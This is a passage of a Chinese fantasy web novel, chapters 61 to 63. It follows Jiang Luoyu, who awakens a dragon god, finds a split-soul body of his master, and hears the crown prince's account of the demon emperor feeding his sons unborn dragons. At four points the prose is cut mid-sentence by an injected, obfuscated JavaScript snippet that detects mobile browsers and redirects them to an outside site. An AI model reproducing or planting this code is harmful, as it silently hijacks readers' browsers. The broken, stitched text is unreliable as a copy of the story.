随手拿起小贩摊上的冷饮,丢了几个妖晶下去。拇指大的晶石骨碌碌滚着,将满杯淡粉色液体一饮而尽。 很甜,还带着一丢丢苦。 “果饮不错,赏你的。”姜洛玉又丢下一小把妖晶,顺走新斟满的杯子。 “诶,大人我卖的是南柯酒啊!不是果饮!”小贩指着写了字的木板抓耳挠腮,长长的猴尾扫过地面,溅起尘灰。 酒? 姜洛玉停了一下,回头看向木板,只看见几个弯弯曲曲的符号。 “我不识字。”他说着,又是一饮而尽,将法术幻化的冰杯摔在了地上。 冰块儿四分五裂,小贩打扫完再看去,已不见了刚才青年的身影。 “噗通——” 指甲盖大小的石子被投入河水里,砸出巴掌大的水花。 姜洛玉叼着忘记从哪儿买到的糖人嚼得正欢,左手撑地,右手机械性地抛着刚捡来的石头。 河道里飘着一堆上游来的花灯,灯心烛火明灭,几丈开外也能嗅到焦味儿。 凉风吹过脖颈,缓解了身上的燥热,他才意识到自己居然跑到了妖都边缘。 不远处就是城门。 姜洛玉撩了一把水,拍了拍脸站起身子。头脑依旧昏沉,每走一步都如同置身云端。 他应该回风华街,或者是太子府……反正不该以这种状态在妖都瞎逛。 有点像上次成熟期的时候,又不太贴切,他现在还有力气走路,最大的不适就是火辣辣地后背。 “烛山。” 有人在叫他的道号。 姜洛玉眯着眼转身,一道比之明月更加出尘的身影站在三尺外,银发半束,葱绿色的眸子里,闪烁着他看不懂的情绪。 “师尊……阿雪?”他向前走了几步,对面的人影却倏地消失不见。 南柯酒。 “南柯一梦……”姜洛玉自嘲地笑了笑。 都是假的,是他喝多产生的幻觉。 那这些护城河水、祈愿花灯、扶余高树,会不会也是荒唐梦境的一员? 姜洛玉分不清,又实在难受得紧,向正街走了两步,终是蹲了下去。 “阿玉。” “又来……”姜洛玉气笑了,敲了敲脑袋,抬头打算看看这南柯酒还能闹出什么幺蛾子。 火树银花下,扶余树影婆娑。 眼中一切变得光怪陆离,就连树下那道熟悉的雪白身影也变得朦胧起来。 “阿玉。” 人影眨眼便到了面前。 姜洛玉没等到人影消散,反而颈侧一凉,肉贴肉的触感从上面传来。他抬手茫然地拍了拍“丛明雪”的后背。 触感温热,不像是假的。 “阿玉。” 又一声呼唤,这三声一声高过一声,又一声比一声缱绻。 “你……你怎么真来了?!”姜洛玉酒都吓醒了,更是顾不上后背还在发烫。 他们的根基在仙界,若是真飞升到妖界成了妖仙,修为就会不再进阶。 更别提害他们受困下界的王八蛋还在仙界,此仇不报难消心头之恨,在妖界的可操作性大大减小。 他咬了咬牙,想挣脱这个格外用力的怀抱,结果一个不稳直接向后倒去。 和大地亲密接触前,一只手垫在了他的后脑。 “阿玉。” 面对直愣愣凑过来的俊脸,姜洛玉拧眉轻推。 丛明雪便顺着力道撑起身子,眼神空洞,垫在姜洛玉脑后的手却没有动作。 傻子都能看出来这个“丛明雪”不对劲儿。 “这是几?”姜洛玉坐起身子,比了个一的手势。 “丛明雪”看了一眼,道:“阿玉。” 姜洛玉:“……” 他倒是想探查一下,看看丛明雪现在究竟是什么情况,可惜这河道旁着实不是个好地方。 思考片刻,姜洛玉决定带着丛明雪先去风华街看看玄慈。 受人之托,总不能半途而废。 “跟着我,不许乱跑。”姜洛玉拉过丛明雪的手,让两人十指相握。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024576|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>丛明雪任凭姜洛玉拉着自己,空荡的大脑突然冒出来一个念头——找到了。 死气沉沉的眸子划过一丝亮光。 啃了几个果子解酒,世界果然清晰不少。 确认身边的人真不是自己幻想出来的,而且实打实有着妖仙一转修为,姜洛玉决定回了太子府再从长计议。 好在他和玄安签订的天道条约里包含了“互不相害”这一项——包括不伤害对方身边的人,带丛明雪回去没什么问题。 除非对方想吃天道的雷劫。 路过糖人摊,姜洛玉买了个野葱形状的糖人塞过去:“给,快吃。” 丛明雪试图思考,没成功。顺从指令啃着糖人,没几下就吃了个干净。 姜洛玉笑得不行,丛明雪这副呆呆的样子太少见……不,是根本没有过。 “甜吗?”他牵着丛明雪走在车水马龙里,由于人声鼎沸,还习惯性地向着他的方向靠了靠。 丛明雪猛地停住,抬手掰过姜洛玉的脸,在那颜色浅淡地唇上扫了一眼,迅速贴了上去。 双唇一触即分。 “很甜。” 姜洛玉:“……” 好像没那么傻了? “伤风败俗——!” 一道高亢嘹亮的男声从人群里传出,声音之大宛若金鸡报晓。 还真是鸡。 来者妖仙三转修为,横眉怒目身高八尺,一身彩衣不说,还顶着形状和肿瘤没什么区别的鸡冠。 理论上,这妖能够找他麻烦。 但是抱歉,姜洛玉拿出玄武城的腰牌晃了晃:“现在呢?” 乔广冷哼一声,甩出朱雀城的腰牌,语气尖酸刻薄:“我还以为有谁撑腰,不过是一群没了壳连路都走不了的东西。” “今天这麻烦本大爷找定了,你们这群无耻的兔爷!该死该死该——” “谁、该、死?” 乔广的声音戛然而止,成了被扼住脖颈的瘟鸡,惊恐地看向掐着自己的青年。 乔广有苦说不出,这小妖何时跑过来的?他竟一点也没发现! 姜洛玉收紧五指,黑眸盈满金光,就连发丝也悬浮起来,逐渐渐变了颜色。 他一字一顿,缓缓道:“我再给你一次机会,想好该怎么说。” “不然我就拔了你的鸡毛当毽子,肉再蒸熟了喂狗。” 几个呼吸后,满头黑发变成了纯正的金色。没等姜洛玉察觉发色改变,后背一疼。 一道金龙虚影猛地从后背钻出,直冲云霄,龙吟响彻天地。 不出须臾,金龙虚影又回到了地面。 “龙神、龙神残魂动了!” 不知是谁最先开口,在场所有妖的目光全都转向城墙。 城墙上空荡荡的,金龙残魂消失了。 “天上……” 天上有什么? 乔广趴在地面,哆哆嗦嗦抬头。 巨大无比的金龙悬在半空,鳞爪飞扬,怒目圆睁,一副要和妖都同归于尽的架势。 可它偏偏什么也没看,长啸一声,整条龙便钻进了金龙虚影里。刹那间虚影凝实,一条手腕粗细的小金龙诞生在众妖面前。 鸦雀无声。 姜洛玉摸了摸新长出来的龙角,挠挠金龙的下巴,让它盘上自己的胳膊,一脚踩在瘫成烂泥的乔广身上。 “我改主意了,你不用思考了。”他笑眯眯道,又夸张地捂了捂心口,“我把你变成兔子再红烧,如何?” “且慢!” 61.穿越第六十一天 “啊——!!!” 肿瘤状的鸡冠应声而落。 乔广捂着脑袋连滚带爬,一路爬到来者脚下——是个朱红大氅的俏丽青年,眼尾上扬,印着如火的图腾。 “少主救命……救命啊!” 姜洛玉知道他——朱雀城城主独子,朱行言。 此次无尽宝库开启,妖皇传书让四大圣城派代表来参加“开宝宴”。 圣城代表几乎都是城主血亲,毕竟四大圣城的城主受法则所限制,镇守着东南西北的天柱,非妖皇亲诏不得入妖都。 于是这进宫参宴的名头便落到了含有圣兽血脉的子女亲族身上。 朱行言踹了乔广一脚,垂着眼睛,恭敬行礼道:“多谢命者手下留情。” “不敢当。”姜洛玉甩了甩匕首上的血,“啧”了一声,“朱少主若是再晚来点,没准都能喝上鸡汤了。” 命者是个什么东西? “脏。” 丛明雪锈住的脑子总算转了几下,走到姜洛玉身边,用袖子擦了擦他脸颊不小心溅到的污血。 场面一度死寂。 围观众妖全都噤若寒蝉,低着头不敢直视模样大变的青年。 妖界重修为、血脉,可说到底最看重的还是血统。但凡有妖沾上一点金龙血,走路都恨不得鼻孔朝天,混血都不再是被人歧视的缘由。 更别提如今……龙神残魂显灵。 玄安混在人群里,也跟着低下头。他赶到的时候,恰好看见了金龙诞生那一幕。 即使隔着层层人群,他也能看清姜洛玉的脸。 还有他飞速上升,直到妖君才停下的修为。 这让他无比庆幸自己当初对姜洛玉没采取什么强硬手段——但他着实想不到,姜洛玉竟然还和龙神扯上关系。 “哥,他怎么变物种了?”玄慈小心翼翼和玄安传音。 他刚和玦公子说了没一会儿话,就被玄安逮了个正着,只好跟着他还有朱雀城的鸟毛少主去什么“醉仙居”吃饭。 饭没吃成,倒是过来看了一出好戏。 玄安按下玄慈动来动去的脑袋:“龙神复苏,命者一举一动皆可代表龙神,慎言。” “我还以为小时候听过的预言是假的……”玄安忍不住咋舌,腹诽了句“老古板”。 龙神残魂出现在约莫十万年前,也就是第二次仙魔大战刚刚结束之际。 伴随残魂一并降临的,还有空中的明晃晃的“预言”——大致内容是说有残魂镇守,妖界在此期间不会发生任何动乱,待到十万载后,龙神自会复苏。 这预言在妖界流传了这么多年,眼看着约定的十万年即将过去,龙神残魂毫无反应,大多数人都暗地里认为龙神复苏无望。 这边朱行言听见“鸡汤”二字,冷汗顺着额头簌簌落下。 “命者言重,您若是想喝鸡汤……在下现在就能为您找来天材地宝煨制。”他斟酌着开口,“这生了灵智的畜牲杂念太多,味道难免不堪。” “还望命者莫怪。这畜牲不知命者身份,冒犯命者,事后便让他自废修为赔罪!” 话毕,朱行言又踹了乔广几脚,踹得人满脸血痕好不凄惨。 这蠢货简直愚不可及,惹谁不好,偏生惹上了让龙神复苏的命定之人! 乔广趴在地上呻吟,悔不当初。 他看不惯那些断袖也不是一年两年,平日里在朱雀城作威作福惯了,到了妖都浊酒下肚,看见角落一触即分的小妖气不打一处来。 本想捉两人回去虐杀,谁曾想这下提到了铁板。 关于龙神复苏的真正内幕,四大圣城知道远比普通妖族要多得多。 当初龙神残魂落到妖界,神格一分为四落在了四大圣城的禁地里,吸收圣兽残骸里的能量蕴养残魂。 妖皇将圣城的城主召集到妖都,给他们看了完整版的预言。比起民间传说的多了一个“命者”,那人会出现在四大圣城里,让他们到时候务必留心。 神格未毁,魂魄未尽,龙神复苏成了板上钉钉的事实。如今恰逢预言里的十万年,四大圣城行事愈发谨慎,日日留意着可以人物,唯恐生出什么差错。 复活的可是龙神啊!当初神族创世搭建了大半妖界的——龙神! 怠慢不得,也不允许出错。 打死乔广也想不到,他挑衅的断袖居然会是命者! 朱行言更是没料到。若不是乔广能拿出无尽宝库来他想要的东西,他何苦在命者和龙神面前试图保下他。 除了移花接木的能力一无是处! 姜洛玉祛除丛明雪袖口染上的血,漫不经心道:“你以为我很好说话?” “这……”朱行言一时语塞。 他确实这么认为。毕竟方才他出声制止,姜洛玉真的只是削了个鸡冠下来,而不是乔广的项上人头。 姜洛玉低头轻笑一声,抚了抚胳膊上小金龙的龙头,将匕首随手一丢。 “噗呲——” 乔广瞪大了眼睛,再无声息。不出几秒就变成了长着尾羽的野鸡。 “我不过是和道侣亲近些,这蠢物就要迁怒于我二人。”姜洛玉拍拍手,“若不是龙神复苏,地上躺的究竟是谁的尸体尚未可知。” “你又凭什么认为,我会对一个想杀我的人手下留情?” 朱行言面色铁青。 这就是权力的滋味吗?姜洛玉眼中划过几丝复杂。 他的体内似乎有火焰灼烧,不疼,只不过让他很兴奋。 金龙又缩小不少,变成手腕一半粗细,盘踞在右肩上,用爪子来回扒拉着顺滑的发丝。 丛明雪看着那野鸡,动了动手指。 尸体瞬间随风散去。 “见过命者。” 一道清凉如水的男声突兀响起。 姜洛玉压住心绪转身,对上一双同样金灿的眸子。 玄衣金纹、龙角外露,再加上眉心那繁复的金鳞纹路,无一不在彰显来人身份——妖皇第二子,现任太子,元灼。 长相没得说,体内含着龙血的生物化形几乎就没有丑的。 不过…… 姜洛玉猛地移动到元灼对面,抬手借龙神之力划开一道结界,似笑非笑:“太子殿下,有人知道你在风华街偷偷当‘公子’吗?” “玦、公、子——” 他可真是太好奇了。元灼一个“一妖之下万妖之上”的太子,没事去当那劳什子“公子”做什么。 元灼面色不变,不卑不亢道:“回命者,在下修习红尘剑道,风华街种种全是为了悟道。” “仅此而已。” “这样啊。”姜洛玉收回看戏的表情,瞥了眼愣头愣脑的玄慈。 这小子知道真相没准下巴都要惊掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028441|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你们为何叫我‘命者’?”他又问。 元灼:“十万年前龙神曾留下预言,里面说赐予祂新生之人便是‘命者’,嘱咐我等务必将命者奉为座上宾。” “请命者入宫小住,父皇已经等候多时了。” 姜洛玉捉住乱爬的小金龙,道:“入宫面见妖皇先不必了。龙神如今刚刚复活,需寻个安静的地方稳固神魂,想必妖皇能够理解。” “我本就同玄武城之人住在太子府,便先行一步,至于朱雀城……” 元灼眼中划过一丝暗光,了然:“命者放心,朱雀城之人险些坏了龙神复苏大计,定会得到应有的惩戒。” 姜洛玉颔首,和人群里的玄安对视一眼,直接回了太子府。 等到四人一龙齐聚,已是月落星沉。 丛明雪安静地坐在姜洛玉身边,眼睛一眨不眨地看着他。 姜洛玉左手牵着丛明雪,右手逗着目前智商和三岁幼童没什么区别的龙神,无奈地告诫龙神不许啃木头。 给了龙神一堆金黄灵果,他才将视线转移到玄家兄弟二人身上。 “怎么这般拘谨,没什么想问的吗?” 玄慈刚张开嘴,就被自家亲哥锤了脑袋。 玄安:“命者多虑,只是不知从何问起。” 姜洛玉:“我知道你想问什么。我是成了‘命者’,又不是换了魂魄。你我之前的契约仍在,我会拿出你想要的东西。” 玄安这才放下心来:“多谢命者解惑,在下同愚弟告退。” 满室寂静。 “疼?”丛明雪指尖轻轻点上姜洛玉的后背。 他记得那里,飞出来一条龙。 姜洛玉摇头:“不疼。” 丛明雪:“为何有龙?” 姜洛玉解释道:“因为我体内,或者说是三清秘境里,本来就拥有龙神的残魂。” 见丛明雪面无表情,不知听没听懂,也没什么反应。他将人拉到榻上坐下。 当年龙神对天道震怒早有所察,趁着最终一战前,悄悄撕裂几丝全盛的神魂放到三清秘境核心。 见核心并不排斥,龙神这才放心去和神主极其部下打架。 不出所料打得肉身尽毁,魂魄也残缺不堪。龙神撑着最后一口气到了妖界,为自己卜了一卦,留下预言这才放心沉睡过去。 核心未失,隐藏在魂魄深处沉寂多年,如今见了正主才复苏。 也让他的身体多了能变成龙族的能力。 但这些和现在这个“丛明雪”说的话,姜洛玉不确定他能不能听懂,于是决定先探查一番丛明雪的情况。 一刻钟之后,姜洛玉两眼一黑。 这具身体里面,怎么只有一魂三魄? 正常飞升铁定不会如此。那这具身体会是分身吗?丛明雪究竟做了什么才来的妖界? 他来妖界就只是为了……寻他吗? 丛明雪看出姜洛玉脸色难看,不解地凑过去,将人抱到怀里,又在他面上亲了一下。 “不生气。” 姜洛玉:“……” 他都要气笑了。 “我来带你,回家。” 名为理智的弦顷刻崩塌,姜洛玉笑不出来了,转身回抱住丛明雪。 “好……回家。” 窗外的翠鸟鸣叫盖过了微不可察的哽咽。 62.穿越第六十二天 三清秘境。 月明如昼,照在坑洼的土地,还有一些深不见底的黑洞。路过的白毛兔子抻长脖子向洞中看去,瞬间僵在原地,两腿一蹬晕了过去。 阴阳殿里,灯火通明。 大殿中央,众人团团围坐,面对躺在血色阵法上的白衣身影。 正襟危坐的人里多了个没什么正形的青年。一身轻薄如烟的外袍堆在两臂,脸上罩着白光,根本看不清面容。 所有人,特别是迦南月,全都一错不错地看着阵法上的——丛明雪。 半年前,自从丛明雪通过情丝和姜洛玉通讯后,众人总算知晓了他的安危。 妖界虽不是个好去处,比起魔界又显得可爱几分。 但待在妖界,那是明晃晃断送了姜洛玉的仙途。若是想把他带下来,又该当如何? 无人知晓。 开天辟地起,就没见哪个修士能凭借金丹修为去了妖界——或许有,但他们不知道。 记忆、古籍……能翻的都翻遍了,还是没有头绪。 直到通讯后第三个月,一团白光敲响了天正宗的护山大阵。 “我来找……唔,药辛?” 看门弟子看了半天,也没从一团白光里看出什么,只好问:“来者何人?” “白泽。”光团指了指自己,接着露出一双古井无波的半透明眼睛。 看门弟子大脑一阵眩晕,迷迷糊糊地就给掌门送去了传音。 就这样,白泽在下界流浪半年,终于有了落脚之处。 神界消亡后,作为天上地下仅存的一只白泽,白三水其实没有什么特别的想法。 他知晓太多东西,若是真较真起来,脑子一刻都停不下来。更别提他还在那场大战里留下了后遗症,时不时就会清空大脑,变成一张白纸。 等他这次清醒过来,发觉自己睡在修真界的村庄里,不仅修为倒退回元婴,储存神格的地方还空荡荡的。 白三水恍然大悟——有人趁他变成傻子阴他! 好在神格没了,肉身强度仍在,在下界活着不成问题。就是通晓万物的能力惨遭削弱,别人不问他压根想不起来。 一路走走停停,又爆发了几次后遗症。白三水用了整整半年时间,才在天正宗察觉到了熟人气息。 就是……太熟了。 “白三水,你那方法到底行不行!这都几天过去了,药辛怎么还不醒?”迦南月见他久久不回话,只得拽了一下他半透明的发丝。 别是又傻了。 “诶……”白三水回过神来,“一魂三魄上去需要时间,况且那分身还得与魂魄磨合。” 迦南月紧锁的眉头依旧没能舒展,今天已经是丛明雪分身去往妖界的第七天了,也是本体醒来的最后期限。 如果今天本体还是不能醒过来,就说明……那具承载着一魂三魄的分身,已经出事了。 那日白三水上门,当真是瞌睡来了送枕头,解决了众人的燃眉之急。 他们象征性地对白三水被偷的神格表示同情,立马开始催促他尽快想出如何把姜洛玉带回来的法子,又或者是不用真正飞升就能去妖界的办法。 白三水不负众望,“欻欻”几下写出答案——先寻一个同姜洛玉因果最为紧密的人移魂造体,再在修真界留下灵标记号,用筹集到的、能欺瞒天道的至宝助分身假飞升。 等分身到了妖界,用点魂之法使两人魂魄相通,最后投进妖界的往生河水里。 虽然往生河流向冥界从不复回,但有修真界的灵标为引,再配上相应的术法,即可从中脱身。 最重要的是,两人又命不该绝。如此,便可把姜洛玉全须全尾地带回下界。 丛明雪自然是移魂造体的不二人选。 等到一切准备妥当,他便躺在了阴阳殿上。 由离昼移魂,凝星与何在夕造体,白三水留下灵标,那伽负责摆出至宝献祭。等到分身出了三清秘境,声势浩大的劫云瞬间笼罩落雪峰。 半日过去,雷劫未落,分身如愿被劫云带上了妖界。 “诶,醒了醒了!”那伽激动地晃了晃红楹。 血阵上的人,当真睁开了眼睛。 白三水做了个制止的手势,站起身缓步走向丛明雪,对着他竖起三根手指:“这是几?” 一刻钟过去,众人才听见答复。 “三。” 又是半炷香过去,地面的人才完成了坐起的动作。 众人皆知此乃移魂的后遗症,醒过来动作会慢上许多。 等到彻底站起,丛明雪才慢悠悠道:“分身已经找到阿玉了。” 妖皇宫。 “皇儿,命者何在?” 金銮宝殿,管乐相交,歌舞盈盈,身着黑金衮冕的妖皇端坐高台之上。 他嘴上发问,锐利地目光却早就把元灼上下打量了一遍。 元君泽挥了挥手,宫人如烟般散了下去,只留父子二人相对。 元灼行礼,迅速将方才发生的一切如实复述了一遍。 元君泽:“既然是朱雀城的人险些酿成大祸,就罚它无尽宝库名额减一,千年内贡奉加上二成。” “是,父皇。”元灼再度行礼,面露犹豫。 元君泽:“可还有其他事?” 元灼:“命者发现了儿臣……在风华街的身份。” 他改换容貌用的可是无尽宝库里的秘宝,按理来说不可能有人第一眼就认出他和“玦公子”有关系。 更别提点名道姓说他就是“玦公子”了。 元君泽掀了掀眼皮,道:“不打紧。反正你的红尘剑道已经致臻化境,这个身份也该消失了。就算命者将此事告知外人,也不会有人相信。 元灼沉默点头。自从悟道后,他便接手了背靠妖皇的风华街——那个所谓“神秘人物”就是妖皇。 风华街只是代称,这么多年里它的名字一直在变,不变的是掌控它的势力。 没人会允许一个极度不可控的因素扎根在自己的地盘,除非那个因素已经被完全掌握在手里。 “风华街我会派其他人去接管,你现在最重要的就是准备明年的‘问仙劫’。”元君泽唤来内侍,“这东西你尽快炼化,不要让旁人瞧了去。” 黑木托盘上,一条尚未成形的胎龙蜷缩在敞开的蛋壳里,依稀能够看见跳动的血丝。 元灼面不改色地拿起蛋壳,一饮而尽,行礼后出了金銮殿。 胃部在灼烧,似乎有什么东西在里面翻江倒海,想要开膛破肚,冲出来见一见那尚未升起的太阳。 须臾后,太子府近在咫尺。 元灼压下不适加快速度,终究没能撑到进卧房。落到后花园,扶着一人粗的琼玉树干呕起来。 没有、什么也没有,呕出来的只有清亮的胃液。 那枚龙胎……已经炼化了。 “咳,我来的好像不是时候?” 姜洛玉有些尴尬,随即发现尴尬地似乎只有他一个,也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031383|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释然了。 肩上的小金龙对着元灼发出稚嫩的嘶吼,瞪圆了眼睛。他立马安抚住小金龙,又推了推揽着他腰的丛明雪。 太紧了,都快把他提起来了。 丛明雪表情不变,力道又加重几分。 姜洛玉:“……” 算了,爱怎么抱就怎么抱吧。 他已经查明,丛明雪这具身体里的一魂为天魂,三魄则是尸狗、非毒、臭肺,即喜爱欲三魄。 凭借“喜、爱”两魄的本能过分亲近他无可厚非。 见元灼收拾完仪态,他这才开口道:“我来是为了……” 元灼摇摇头,指了指自己,无声道“隔墙有耳”。 姜洛玉点头表示了解,摸了摸小金龙的下巴,和它心念相通:“欢欢,帮他把体内的法术暂时封印住。” “乖,等下给你黄果子吃。” “好~”一道细声细气的幼童声在脑海中响起。 姜洛玉松了一口气。 龙神本名辰欢,他命者的身份相当于辰欢目前的“监护人”。 身上的妖君修为也是靠着这层身份得来的,但徒有其表,一戳就掉,只能辅助《太一万法无相诀》。 真和其他的“妖君”打起架来,保准第一个被没命。 不过养龙神倒是和养三四岁的奶娃娃没什么区别,让他做些什么得哄着来。不然一个不顺心,就缩着尾巴生闷气。 金光从一闪而过,元灼发现体内监视他多年的法术消失了——不,更像是被隐藏起来。 他依旧能感受到那股外来的阴冷灵力。 “龙神说你身上有同族业障。”姜洛玉开门见山道。 其实他不想多管闲事来着。 虽说现在他有龙神撑腰,可除了他没人知道龙神目前不仅智商不详,还空有一身战力不知道怎么发挥。 奈何辰欢在他脑子里催促个不停,还哭哭啼啼地让他必须过来问个明白,又打包票如果对面动手,他能用保命的绝招把他救下来。 姜洛玉拗不过,戳戳龙脑袋,带着丛明雪朝元灼的卧房赶去,半路刚好遇到本人。 元灼呼吸一滞,“业障”二字如水入油锅般在脑中炸开,胃部再度抽搐起来,但他知道这些都是幻觉。 都是他体内“弟弟们”的残念在作怪。 他未出世的弟弟,用精血和天材地宝催化出来的“弟弟”。 它们是他的骨肉血亲,是他的药,更是他的催命符。 他们从来都不是兄弟。 “灼儿。” 听见再熟悉不过的声音,元灼抬起头,落下的泪打在石子路上。 一身紫红宫装的女子站在他对面。 看清女子的脸,元灼一阵恍惚,喃喃道:“母妃……” “别害怕,娘一直都在。” 元灼想走过去触碰到女子的身体,好确认她是真实存在的—— “自重。” 丛明雪抬手拦下神情恍惚的男人,语气冰冷。 姜洛玉扳下丛明雪的手臂,顺毛般摸了摸他的头发:“……好了,人正常了。” 方才眼看着元灼瞳孔血红怕是要入魔,他急忙催动功法,开始在元灼记忆里寻找能他唤醒理智的人来,好不容易才翻出他早逝的亲娘。 元灼吐出几口瘀血,神色复杂地看着姜洛玉。 该说吗? 不说的话,似乎没有机会再说了。 “我怀疑,父皇被夺舍了。” 63.穿越第六十三天 “夺舍”二字如同平地惊雷,炸得姜洛玉大脑空白一瞬。 他道:“何以见得?妖皇身上加持着天道气运,按理来说轻易不会被邪魔外道夺舍。” 元灼:“夺舍只是我的猜测。妖皇两千年前开始用法术监视我的言行,逼我吃下同胞胎龙。在此之前,他一直是个不可多得的、温和内敛又不失威严的父亲。” 姜洛玉哑然。父亲逼迫子嗣相食,如此逆天的举措,似乎除了夺舍没有别的解释。 没被夺舍才炸裂,听得他都快吐了。 “他说监视是因为近些年来魔族暗地里动作不断,为了确保我不会中了魔族的圈套,才出此下策。” “他说胎龙是他用精血和天材地宝培育出来的灵物,吃下对修为有益,还能增加渡过‘问仙劫’的机会。” 问仙劫是成了妖君、仙君后逃不开的劫数。单纯的雷劫,五千年一次,渡过去了下自有下一个五千年,反之身死道消,重入轮回。 而他的问仙劫,就在明年。 “我呸,老不要脸的,他自己怎么不吞?”辰欢气鼓鼓的,话越说越利索。 “还增加机会,到时候都能被天雷劈得魂飞魄散!” 姜洛玉捂了捂耳朵,表情痛苦:“祖宗我求你小点声,你就算再大声别人也听不见你说话。” 小金龙扭曲滚动几下,在姜洛玉脑袋里“哼”了好几声,拉长身子把他和丛明雪的手绑在了一起。 姜洛玉:“……” 辰欢绑住的是丛明雪揽着他的左手腕,和他放在身侧的左胳膊。 扯又不敢扯,叫又不理人,他只好僵硬着身体和元灼继续对话。 “说了这么多,你想要什么?”他盯着元灼的眼睛。 方才时间仓促,他只来得及寻找元灼识海里最深刻的记忆。导致他很难凭借几句话就看清元灼的目的,又或是判断话中真假。 “请龙神救救妖界!”元灼“噗通”一声朝臂上金龙跪了下去。 电光石火间,姜洛玉腿上一用力,带着一人一龙侧滑,完美避开元灼的跪拜。 他两步并作一步扶起元灼:“不必如此。不过……怎的又何妖界安危扯上关系了?” 没有退路了,元灼顺着力道站起,双目血红。 整整两千年,他吞噬炼化了数不清的胎龙,每每修炼或是入睡,耳畔都会响起幼嫩的嘶吼。 他不能拒绝,不能反抗,甚至龙骨上的咒术让他连死都死不了。 如今龙神复苏,命者天降,何尝不是他最后的救命稻草? 妖界都说妖皇有德,皇子也是一个赛一个的天资卓绝、勤奋刻苦。 就是时运不济些,死的死伤的伤,到现在只剩下了三个儿子——二皇子也就是太子元灼、六皇子元柯,以及刚刚渡劫昏迷的九皇子元启。 他们又怎能想到死去的五个皇子,全都被妖皇所杀! 妖皇早年渡问仙劫落下病根,成了妖皇寿数只增不减。 眼见大限将至,妖皇直接将自己的血脉变成续命的补药。 他们吞噬胎龙后血肉逐渐澄净,修为逐渐精深,魂魄却日渐污浊。 最后魂飞魄散,一身修为血肉都进了元君泽的身体。 这就是真相,他从母亲遗物里得到的真相。 可叹他发现时已经太晚,妖皇早就把他手里的权力收回。 他在妖都孤立无援,只能任人摆布。 元灼咬了咬牙,把知道的一切消息全盘托出,又道:“其实比起夺舍,我更觉得妖皇本性就是如此。他还同魔族达成了不可告人的交易。” “停——” 姜洛玉做出制止的手势:“若真像你说的那样,妖皇背后还有魔族势力,你将此事告知于龙神大概也没什么用。” 元灼目眦欲裂:“为何?凭借龙神之威,扳倒妖皇岂不是轻而易举?” “因为龙神现在……”姜洛玉捉下小金龙晃了晃。 辰欢“砰”得一下变成了个七八岁的稚童,金发金眼玉雪可爱,一身银袍罩在身上,更衬得发色纯正。 稚童眨眨眼,打了个响指。一撮大小如豆,在无风结界里颤颤巍巍的火苗猛地钻出。 辰欢不好意思道:“抱歉,我现在最多只能替你将龙骨上的法术解除。” “打架的话,我没适应现在的状态。” 真打起来妖皇人多势众,吃亏得肯定是他们。 他本来还以为是元灼背地里修什么见不得人的邪法,谁知竟然牵扯出了妖皇和魔族。 辰欢捂着小小的脑袋十分头疼。 元灼神色一喜:“足够了,只要龙神祛除我龙骨上的咒枷,我自能联系外界旧部,还有母族相助。” “你说妖皇勾结魔族,可有证据?还有他用亲子续命的证据。”姜洛玉伸出手让辰欢盘回自己手臂上,问道。 元灼:“在书房。” 三人一龙七拐八拐地从花园去了书房。 元灼的书房很朴素,和普通人家的没什么两样。高案长桌、方椅矮凳……姜洛玉看了半天也没看出特别之处,反倒品出几分陈旧。 书卷和玉简倒是摆在书架上,挤挤挨挨占了大半空间。 姜洛玉拿起其中一卷《太湖长史》,被里面受惊的书虫喷了一脸墨粉。 “哈哈哈哈……叫你乱动东西。他这满屋子的书里都有书虫看守,想看得先取得它们的同意。”辰欢一拱一供地笑着。 姜洛玉黑着脸掐住辰欢的龙须:“再笑就下去自己走路。” 他以前怎么没发现龙神这么欠兮兮的,果真龙不可貌相。 辰欢:“不要……玉玉我错了。” 他重生依托的是三清秘境,对三清秘境化身的姜洛玉更是亲近得不行。 类似于幼崽的依恋——虽然他不想承认,但事实摆在那儿。 姜洛玉黑脸他是真怕他不理自己。 “闭眼。”丛明雪学聪明了,见状直接翻出块儿手帕,细细擦拭着姜洛玉脸上的墨粉。 动作间,元灼已经摸到了书案下的凹槽,滴了精血进去。 “轰——” 最后方的书架骤然下沉,沉没后又缓缓升起道雕着鸟兽纹样的漆黑木门。 姜洛玉扯过手帕抹了巴脸,其实是趁机用了清洁术糊弄丛明雪。 这具分身一旦认定了什么事,不做完誓不罢休,书虫的墨粉又不是普通帕子能擦下去的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 